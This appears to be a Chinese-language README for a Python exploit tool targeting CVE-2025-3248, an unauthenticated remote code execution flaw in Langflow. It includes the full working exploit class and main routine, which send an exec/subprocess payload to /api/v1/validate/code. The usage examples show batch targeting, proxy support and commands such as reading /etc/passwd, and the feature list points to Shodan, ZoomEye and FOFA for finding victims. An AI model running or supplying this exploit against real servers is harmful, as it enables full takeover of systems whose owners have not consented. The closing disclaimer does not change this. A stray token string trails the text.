CVE-2025-3248 Langflow RCE 漏洞利用工具
项目概述
CVE-2025-3248是一个严重的无需认证的远程代码执行漏洞,影响Langflow(一个流行的用于构建LLM应用程序的低代码框架)。该漏洞源于不安全地使用了Python内置的exec()函数来评估用户提供的输入,且未进行适当的清理。这使得攻击者能够在服务器上执行任意Python代码,完全控制底层系统。
- CVE ID: CVE-2025-3248
- 严重等级: 严重
- CVSS 评分: 9.8
- EPSS 评分: 92.57%
- 发布日期: 2025年5月22日
- 受影响版本: ≤ v1.3.0
- 已修复版本: v1.3.0+
功能特性
- 🔓 远程且无需认证的RCE: 直接对Langflow的API端点进行远程代码执行,无需任何身份验证。
- 🔐 无需认证: 攻击利用过程完全绕过了认证机制。
- 🐍 Python3 单文件脚本: 代码简洁,使用Python3编写,依赖项少,易于执行。
- 🎨 彩色终端输出: 使用colorama库提供清晰的彩色命令行界面,增强可读性。
- 🌐 多目标支持: 支持通过单个URL或包含多个目标URL的文件进行批量测试。
- 🛠️ 代理支持: 支持配置HTTP/HTTPS代理(如Burp Suite),方便流量拦截和调试。
- 📄 信息收集参考: 提供了Shodan、ZoomEye、FOFA等平台的搜索语法,用于快速定位潜在的目标。
安装指南
前置条件
- Python 版本: 3.x
- 操作系统: 支持Windows、Linux、macOS
依赖安装
该脚本主要依赖于requests和colorama库。可以使用pip进行安装。
pip install requests colorama
获取脚本
可以直接复制提供的CVE-2025-3248.py脚本内容,保存为本地Python文件。
使用说明
基本用法
该工具通过命令行参数运行。
python3 CVE-2025-3248.py -u http://target:7860 -c "id"
命令行参数详解
-u, --url: 指定单个目标URL(例如,http://192.168.1.100:7860)。-i, --input: 指定一个包含多个目标URL列表的文件路径(每行一个URL)。-c, --cmd: (必需) 指定要在目标系统上执行的Shell命令(例如,id,whoami,cat /etc/passwd)。-p, --proxy: 指定代理服务器地址(例如,http://127.0.0.1:8080用于Burp Suite)。
使用示例
-
针对单个目标执行命令:
python3 CVE-2025-3248.py -u http://victim.com:7860 -c "uname -a" -
针对多个目标执行命令(批量测试): 首先创建一个包含目标URL的文本文件
targets.txt:http://target1.com:7860 http://target2.com:7860然后运行脚本:
python3 CVE-2025-3248.py -i targets.txt -c "ls -la" -
通过代理运行(用于调试或流量分析):
python3 CVE-2025-3248.py -u http://test.local:7860 -c "pwd" -p http://127.0.0.1:8080
受影响端点
攻击针对Langflow的API端点:/api/v1/validate/code。
核心代码
1. 主执行类 LangflowExploit
该类封装了与目标交互的核心逻辑,包括发送恶意载荷和处理响应。
class LangflowExploit:
def __init__(self, url, proxy=None, timeout=10):
# 初始化会话,设置目标URL、超时时间和代理
self.url = url.rstrip('/')
self.timeout = timeout
self.session = requests.Session()
self.session.verify = False # 忽略SSL证书验证
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (mitsec)',
'Content-Type': 'application/json',
'Accept': 'application/json',
})
if proxy:
# 配置代理
self.session.proxies = {
"http": proxy,
"https": proxy
}
def execute(self, command):
# 构建目标端点URL
endpoint = urljoin(self.url, '/api/v1/validate/code')
# 核心载荷:通过构造会抛出异常的exec语句,在异常信息中捕获命令执行结果
payload = {
"code": f"""
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
"""
}
try:
print(f"{Fore.YELLOW}[•] Sending exploit to: {endpoint}")
# 发送POST请求,载荷为JSON格式
response = self.session.post(endpoint, json=payload, timeout=self.timeout)
print(f"{Fore.YELLOW}[•] HTTP Status: {response.status_code}")
if response.status_code == 200:
# 尝试解析返回的JSON,提取错误信息(其中包含了命令输出)
try:
data = response.json()
error_msg = data.get("function", {}).get("errors", [""])[0]
if error_msg.startswith("b'"):
# 对命令输出进行解码
return error_msg[2:-1].encode().decode('unicode_escape').strip()
except Exception as parse_err:
return f"[!] JSON parse error: {parse_err}"
return f"[!] Exploit failed: HTTP {response.status_code}"
except requests.RequestException as req_err:
# 处理网络请求异常
return f"[!] Request failed: {req_err}"
2. 主函数 main()
处理命令行参数,协调整个利用流程,支持单目标和批量目标。
def main():
banner() # 打印ASCII艺术横幅
parser = argparse.ArgumentParser(description="mitsec | CVE-2025-3248 Langflow RCE Exploit")
# 定义命令行参数
parser.add_argument("-u", "--url", help="Target URL (e.g., http://host:port)")
parser.add_argument("-i", "--input", help="File containing list of target URLs")
parser.add_argument("-c", "--cmd", required=True, help="Command to execute (e.g., id, whoami)")
parser.add_argument("-p", "--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080 for Burp Suite)")
args = parser.parse_args()
targets = [] # 存储目标列表
# 根据参数读取目标:优先从文件读取,否则使用单个URL
if args.input:
try:
with open(args.input, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except Exception as e:
print(f"{Fore.RED}[!] Failed to read input file: {e}")
return
elif args.url:
targets = [args.url]
else:
print(f"{Fore.RED}[!] Please specify either --url or --input.")
return
# 遍历所有目标并执行攻击
for target in targets:
print(f"{Fore.CYAN}\n[>] Target: {target}")
exploit = LangflowExploit(target, proxy=args.proxy)
output = exploit.execute(args.cmd) # 执行命令
print(f"{Fore.GREEN}[+] Command Output:\n{output}")
3. 横幅函数 banner()
生成并显示彩色的工具标识和信息横幅,增加专业感。
def banner():
color = random.choice(COLORS) # 随机选择一种颜色
# 打印ASCII艺术字和工具信息框,包含CVE编号、作者等
print(f"""{Style.BRIGHT}{color}
█████╗ ███████╗██╗ ██╗
██╔══██╗██╔════╝██║ ██╔╝
███████║███████╗███████╔╝
██╔══██║╚════██║██╔═ ██╗
██║ ██║███████║██║ ██╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ASH!!!
╔══════════════════════════════════════════════════════════════════════════════════╗
║ Exploit Title: Langflow Remote Code Execution (RCE) ║
║ CVE ID : {Fore.RED + Style.BRIGHT}CVE-2025-3248{color + Style.BRIGHT} ║
║ Author : B1ack4sh Black ASH ║
║ GitHub : https://github.com/B1ack4sh ║
╚══════════════════════════════════════════════════════════════════════════════════╝
{Style.RESET_ALL}""")
⚠️ 漏洞技术原理与免责声明
漏洞原理:
该漏洞位于Langflow的/api/v1/validate/code端点。后端代码(推测位于类似langflow/api/builder/execute.py的文件中)直接使用exec(code)执行用户传入的代码,既没有输入验证,也没有沙箱环境。
免责声明: 本工具仅用于教育、安全研究和授权测试。严禁将其用于任何未经授权的系统。使用者需自行承担所有责任。开发者和贡献者不对任何滥用行为负责。在测试任何系统之前,请确保您已获得明确的所有者许可。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4O0LUJzubeXR3Uhsyi1DNO